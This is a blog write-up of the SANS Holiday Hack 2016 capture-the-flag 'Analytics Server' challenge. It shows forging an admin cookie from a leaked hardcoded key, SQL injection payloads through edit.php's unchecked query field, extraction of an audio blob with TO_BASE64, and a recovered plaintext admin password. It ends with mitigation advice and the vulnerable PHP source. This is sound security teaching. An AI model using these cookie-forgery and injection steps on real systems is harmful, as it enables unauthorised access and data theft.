Thursday, January 5, 2017

SANS Holiday Hack 2016-Analytics Server: Part Two

Analytics Server (Part 2)

Scan the https://analytics.northpolewonderland.com server with map, it finds that there is a git repository that is world readable, located at https://analytics.northpolewonderland.com/.git/.

nmap -T4 -sC analytics.northpolewonderland.com -p 0-65535

Download the whole git repository to a computer; there is source code for each the functions on the website.

The login.php has an easily reverse engineered cookie.  

    $auth = encrypt(json_encode([ //JSON encode and call the encrypt function for the following
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    //This is just the username and Date/Time. :D
    ])); 

    setcookie('AUTH', bin2hex($auth));  //change the binary of the variable $auth to hexadecimal, set cookie to this 
    value.

The crypto calculation is in crypto.php which is available in the .git directory as well.  The key is stored as a variable in crypto.php, This is the crypto code:

<?php
  define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

  function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }

  function decrypt($data) {
    return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }
?>

Slightly change the login code, to spit out the value that the administrator cookie would be.

<?php
  define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

  function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }

     $auth = encrypt(json_encode([
      'username' => $_POST['administrator'],
      'date' => date(DateTime::ISO8601),
    ]));

   $auth = bin2hex($auth));
   print $auth
?>

Use an offline/online IDE to see the print statement.  If you have php on a Linux box, you can run it on there to see what happens.  The administrator cookie is:  
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9b654ab1494d6763a10a65b71176884152.

After getting the cookie; add a cookie for the analytics website.  There is a plugin called “Cookies Manager+” in Firefox.  After manipulating the cookie in “Cookies Manager+”, navigate to the website, and be magically logged in as administrator.  That is called session cookie stealing.

There are three areas of interest on the site.  “Query”, “View”, and “Edit”.   

“Query” queries the database based on certain parameters, and displays those parameters to the screen.  There is also an option to save a report to view later on the “Query” screen. This saves the results of the query to the query column in the database.
“View” allows a person to view a previously saved query/report. 
"Edit” allows one to change the name and description of a report.  
“Query” and “View” didn’t initially appear to be vulnerable to SQL Injection because of the way that the queries are made in the programs that are executed to display the database query and reports to the screen:  query.php and view.php.  

The edit.php program, the program used to edit the name and description of reports on the “Edit” page, did have a weakness.  It has four parameters: “query”, “id”, “name”, and “description”.  The “query” parameter could be manipulated.

In order to use the “Edit” area of the website, one must already have a “report ID”.  

The “report ID” can be obtained by querying something on the “Query” area of the website, and clicking the “Save as report” checkbox.  The report ID is displayed on the screen for someone to view later, using the “View” area of the website or edit later using the “Edit” part of the website. 

Copy the report ID.  Navigate to the “Edit” area of the website.  Capture the network traffic.  In this case, Developer Tools on Firefox was used.  “Edit” the report that was just queried. Paste the report ID into the report ID text box, pick any name and type it into the name textbox, then type a description and put it into the description part. 

In the captured traffic, manipulate the query parameter to “SELECT%20*%20FROM%20audio”.  (It's url encoded because the query is being made in the address bar.)  That query is placed into the database in the “query” column, along with the id, name, and description.  In order to see that “SELECT%20*%20FROM%20audio” query in action, one has to view the edited report ID.

If one navigates to the “View” area of the website, and puts in the report ID that was manipulated in the “Edit” area of the website, it shows all the files in the audio database because the view.php program “sees” the “SELECT%20*%20FROM%20audio” query in the query part of the report database and executes it as an sql query.

So I didn't explain this well when I submitted my write-up-the query column where id = the report id  in the reports database is what is being manipulated.  The programmer failed to catch any queries that didn't fit what he/she intended.  The programmer should not have gotten everything from that row.  Should have been SELECT id, name, description FROM reports, that way that the query couldn't be manipulated.  Then every item in that grouping should be escaped & sanitized, not just the id.  Seen this where the programmer was trying to save a few lines of code.  That SELECT * FROM audio overwrites the original results in the query column.  Then the view.php interprets it as SQL.  

One can see both audio files because the “SELECT%20*%20FROM%20audio” query selects every audio file in the database.  When working with a real database, one may not want to do this particular query because it returns every record in the database.  It depends on one’s goals.  

If the query is manipulated, by doing the above steps, to “SELECT%20*%20FROM%20users”, one can get the all of the usernames and passwords.  The usernames and passwords happen to be stored plain text.  The administrator password is KeepWatchingTheSkies. 

To get the audio file out of the database.  There are different ways.  In this case, the easiest solution seemed to be to base64 encode the file.  (The file blob was stored in the database in a column called, “mp3”.)  Manipulate the query by taking the same steps as above, except, change the query to SELECT%20TO_BASE64(mp3)%20FROM%20audio%20WHERE%20id%20%3D%20%273746d987-b8b1-11e6-89e1-42010af00008%27 

Navigate to the “View” area of the website and the discombobulatedaudio7.mp3 file is displayed on the screen in base64. 

Select all of the text in the TO_BASE64(mp3) display box-not everything on the screen.  Then paste that text into a text editor and save it as base64encodedmp3.  Note:  There is no period.  The mp3 isn’t decoded yet, so it can’t be played. 

There are different methods of decoding a base64 file.  For some reason “base64 -d” did not like this base64 encoding.  In this case, python was used.  The command is python -c ‘print open (“base64encodedmp3”, “rb”).read().decode(“base64”)’ > discombobulatedaudio7.mp3.  The mp3 should now be playable.

Mitigation:

Don’t allow public access to git a repository.
Don’t store keys/credentials in variables in a program.
Don’t have a cookie algorithm that is easy to reverse engineer-ie don’t use a proprietary algorithm to calculate a cookie-use known/trusted solutions to calculate a cookie value.
Don’t allow anyone to have access to experimental pages-except the people who are developing them.
Php mysql_escape_string doesn’t replace properly validating input.  It has been deprecated and only protects against \x00 (null character), \n (line feed character), \r (carriage return character), \, ', " and \x1a (EOF).  It does not protect against the more creative people that find other ways to input those characters.  The creator of these php programs should read the php website, the MariaDB website, and OWASP to keep track of up-to-date secure programming advice.  Currently, best practice is prepared queries.  
Restrict access from one database to another.
Restrict access to certain database functions from the website.
Don’t store passwords plain-text.

edit.php

<?php
  # This should be the first require
  require_once('this_is_html.php');
  require_once('db.php');

  # Don't allow anybody to access this page (yet!)
  restrict_page_to_users($db, []);

  require_once('header.php');

  if(!isset($_GET['id'])) {
?>
    <div class="alert alert-warning"><strong>Warning!</strong> This is experimental.</div>
    <form class="form-horizontal">
      <div class="form-group">
        <label for="id" class="col-sm-2 control-label">ID</label>
        <div class="col-sm-6">
          <input type="text" class="form-control" name="id" id="id" placeholder="XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX">
        </div>
      </div>
      <div class="form-group">
        <label for="name" class="col-sm-2 control-label">Name</label>
        <div class="col-sm-6">
          <input type="text" class="form-control" name="name" id="name" placeholder="New Name">
        </div>
      </div>
      <div class="form-group">
        <label for="description" class="col-sm-2 control-label">Description</label>
        <div class="col-sm-6">
          <input type="text" class="form-control" name="description" id="description" placeholder="New Description">
        </div>
      </div>
      <div class="form-group">
        <div class="col-sm-offset-2 col-sm-6">
          <button type="submit" class="btn btn-default">Edit</button>
        </div>
      </div>
    </form>

<?php
  }
  else
  {
    $result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='" . mysqli_real_escape_string($db, $_GET['id']) . "' LIMIT 0, 1”); # looks for existing report id, selects all items in the row, including the query.
    if(!$result) {
      reply(500, "MySQL Error: " . mysqli_error($db));  # if it can’t find the id or the query is invalid, an error 
      message is displayed to the page.
      die();
    }
    $row = mysqli_fetch_assoc($result);

    # Update the row with the new values
    $set = [];
    foreach($row as $name => $value) {
      print "Checking for " . htmlentities($name) . "...<br>";
      if(isset($_GET[$name])) {
        print 'Yup!<br>';
        $set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . “'"; # places the value of $name in 
        $set variable
      }
    }

    $query = "UPDATE `reports` " .
      "SET " . join($set, ', ') . ' ' .
      "WHERE `id`='" . mysqli_real_escape_string($db, $_REQUEST['id']) . "'";
    print htmlentities($query); #update reports set <name from form> where id = <id from form>

    $result = mysqli_query($db, $query); # the value of query in the “report” database can be changed here-by 
    manipulating the query parameter in the web request.  Notice this isn’t being escaped &/or sanitized.
    if(!$result) {
      reply(500, "SQL error: " . mysqli_error($db));
      die();
    }

    print "Update complete!";
  }
?>
<?php require_once('footer.php'); ?>

view.php

<?php
  # This should be the first require
  require_once('this_is_html.php');
  require_once('db.php');

  restrict_page_to_users($db, ['guest']);

  require_once('header.php');

?> 
  <form class="form-inline">
    <div class="form-group">
      <label for="id" class="h3">Query UUID</label>
      <input type="text" class="form-control input-lg" style="width: 40rem" id="id" name="id" placeholder="XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX">
      <button type="submit" class="btn btn-primary">View</button>
    </div>
  </form>
  <br/>
<?php

  if(isset($_GET['id'])) {
    $result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='" . mysqli_real_escape_string($db, $_GET['id']) . "' LIMIT 0, 1”);  --It gets everything from reports, including the query column of the report database, where the id matches the manipulated query.
    if(!$result) {
      reply(500, "MySQL Error: " . mysqli_error($db));
      die();
    }

    $row = mysqli_fetch_assoc($result);
    if(!$row) {
      reply(404, "Report not found!");
      die();
    }
?>
  <!--
  <ul>
    <li>ID: <?= htmlentities($row['id']); ?></li>
    <li>Name: <?= htmlentities($row['name']); ?></li>
    <li>Description: <?= htmlentities($row['description']); ?></li>
  </ul>
  -->
  <div class="panel panel-primary">
    <div class="panel-heading">
      <h3 class="panel-title">Details</h3>
    </div>
    <div class="panel-body">
      <div class="row">
        <div class="col-xs-2 col-sm-2 text-muted text-right">ID</div>
        <div class="col-xs-8 col-sm-9"><?= htmlentities($row['id']); ?></div>
      </div>
      <div class="row">
        <div class="col-xs-2 col-sm-2 text-muted text-right">Name</div>
        <div class="col-xs-8 col-sm-9"><?= htmlentities($row['name']); ?></div>
      </div>
      <div class="row">
        <div class="col-xs-2 col-sm-2 text-muted text-right">Details</div>
        <div class="col-xs-8 col-sm-9"><?= htmlentities($row['description']); ?></div>
      </div>
    </div>
  </div>

  <?php
    format_sql(query($db, $row[‘query']));  --The value in the query column of the report database, where the id that was manipulated is selected, is then interpreted as sql.  The query isn’t sanitized before being put in here.
  }
require_once('footer.php'); 
?>

Here is the relevant database information:

sprusage.sql

-- MySQL dump 10.13  Distrib 5.7.16, for Linux (x86_64)
--
-- Host: localhost    Database: sprusage
-- ------------------------------------------------------
-- Server version 5.7.11-0ubuntu6

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `reports` --database table being manipulated by edit.php
--

DROP TABLE IF EXISTS `reports`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `reports` (
  `id` varchar(36) NOT NULL,
  `name` varchar(64) NOT NULL,
  `description` text,
  `query` text NOT NULL, --query column in database, this is the column being manipulated by the edit.php   
   program when an extra parameter is added.
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `reports`
--

LOCK TABLES `reports` WRITE;
/*!40000 ALTER TABLE `reports` DISABLE KEYS */;
/*!40000 ALTER TABLE `reports` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `users`
--

DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `uid` int(11) NOT NULL,
  `username` varchar(128) NOT NULL,
  `password` varchar(128) NOT NULL,
  PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

DROP TABLE IF EXISTS `audio`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `audio` (
  `id` varchar(36) NOT NULL,
  `username` varchar(32) NOT NULL,
  `filename` varchar(32) NOT NULL,
  `mp3` MEDIUMBLOB NOT NULL, --can be base64 encoded and exfiltrated
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `users` --The passwords were stored plain text.
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2016-11-21 20:57:13

GRANT SELECT, INSERT, UPDATE ON `sprusage`.`reports` TO 'sprusage'@'localhost';
GRANT SELECT, INSERT, UPDATE ON `sprusage`.`app_launch_reports` TO 'sprusage'@'localhost';
GRANT SELECT, INSERT, UPDATE ON `sprusage`.`app_usage_reports` TO 'sprusage'@'localhost;
GRANT SELECT ON `sprusage`.`users` TO 'sprusage'@'localhost';

GRANT SELECT ON `sprusage`.`audio` TO 'sprusage'@'localhost';


No comments:

Post a Comment